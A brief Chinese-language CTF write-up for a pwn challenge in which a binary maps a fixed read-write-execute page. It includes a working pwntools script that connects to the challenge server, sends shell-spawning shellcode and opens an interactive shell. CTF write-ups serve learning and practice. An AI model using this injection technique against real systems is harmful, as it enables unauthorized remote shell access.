NSSCTF Pwn [SWPUCTF 2022 新生赛]shellcode？题解

下载 exeinfo checksec

开启了NX PIE 64位

查看main函数：

发现有个mmap函数 查一下：

在固定地址 0x30303000 处创建 4KB 的匿名内存映射，具有可读、写、执行权限

所以将shellcode直接写到上面就能执行

exp：

from pwn import *
context (os='linux', arch='amd64', log_level='debug')
#这行一定要加

p = remote("node5.anna.nssctf.cn", 25971)

shellcode = asm(shellcraft.sh())

p.send(shellcode)
p.interactive()

运行 得到flag：